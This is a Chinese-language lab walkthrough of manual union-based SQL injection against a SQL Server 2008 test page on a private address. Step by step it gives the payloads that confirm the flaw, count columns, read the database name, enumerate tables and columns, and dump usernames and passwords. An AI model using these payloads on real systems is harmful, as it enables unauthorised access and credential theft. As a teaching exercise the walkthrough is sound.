实验环境:sqlserver 2008
实验步骤:
一、判断是否有注入
分别输入ip/1.php?id=1 and 1=1和ip/1.php?id=1 and 1=2可判断出该处存在注入
二、判断显示位
1.输入http://192.168.1.106/1.php?id=1 order by 3,显示出第三列
2.输入http://192.168.1.106/1.php?id=1 order by 4,显示下面情况,说明显示位有3列
三、查看数据库
在浏览器中输入:http://192.168.1.106/1.php?id=1 union select NULL,db_name(),NULL,可看到数据库名为test
四、查看用户名
输入:http://192.168.1.106/1.php?id=1 union select NULL,user_name(),NULL,可看到用户在数据库中的名为dbo
五、查看指定数据库有哪些表(注:这里的表是指用户的表)
1.输入:http://192.168.1.106/1.php?id=1 union select NULL,name,NULL from test.sys.sysobjects where xtype='U',这里可看到该数据库有users表
2.输入:http://192.168.1.106/1.php?id=-1 union select TOP 1 NULL,name,NULL from test.sys.sysobjects where xtype='U' and name !='users'可查询非users的表,如下图:
六、查看对应表的列
1.输入:http://192.168.1.106/1.php?id=-1 union select TOP 1 NULL,name,NULL from test.sys.syscolumns where id=OBJECT_ID('users') 可看到第一列;
2.输入:http://192.168.1.106/1.php?id=-1 union select TOP 1 NULL,name,NULL from test.sys.syscolumns where id=OBJECT_ID('users') and name !='id';可看到第二列,以此类推……
七、查看用户名和密码信息
输入:http://192.168.1.106/1.php?id=-1 union select TOP 1 NULL,username,password from users where username!='zs';可看到第二个用户的用户名和密码
第三个用户名和密码,可输入:?id=-1 union select top 1 null,username,password from users where username !='zs' and username !='......',以此类推……